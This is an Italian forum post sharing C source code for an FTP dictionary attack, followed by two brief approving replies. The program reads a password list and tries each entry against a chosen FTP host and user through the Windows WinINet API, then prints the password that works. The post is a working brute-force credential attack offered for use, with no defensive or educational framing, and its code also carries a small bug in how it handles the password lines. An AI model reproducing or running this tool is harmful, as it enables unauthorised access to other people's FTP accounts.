GoogleBig - Forum

Full Version: [c] ftp dictionary attack
You're currently viewing a stripped down version of our content. View the full version with proper formatting.
ftp dictionary attack

Autore: jackoff

Code:
#include <stdio.h>
#include <windows.h>
#include <wininet.h>
#include <string.h>

int main()
{
    HINTERNET open,conn;
    FILE *fp;
    int i=0;
    char host[50];//l'indirizzo ftp
    char user[50];//la username
    char buff[50];//legge il contenuto del file delle password
    char percorso[50];//percorso del file delle password
    printf("inserisci l'indirizzo\n");
    scanf("%s",host);
    printf("inserisci lo user\n");
    scanf("%s",user);
    printf("inserisci il percorso del file delle password\n");
    scanf("%s",percorso);
    
    open=InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
    if(!open)
    {
            printf("errore\n");
            return 0;
    }
     fp=fopen(percorso,"r");
    while(fgets(buff,50,fp)!=NULL)
    {
            conn=InternetConnect(open,host,INTERNET_DEFAULT_FTP_PORT,user,buff,INTERNET _SERVICE_FTP,0,0);
             if(!conn)
             {        
                        i++;
                        printf("la %d password sbagliata\n",i);
                        
             }
             else
             {
                         printf("\n**************password trovata***************\npass: %s",buff);
                         return 0;
             }
    }
    printf("password non trovata\n");
    return 0;
}

bravo bello!!!
non l'ho fatto io
bè vabè... bello lostesso ;)
Reference URL's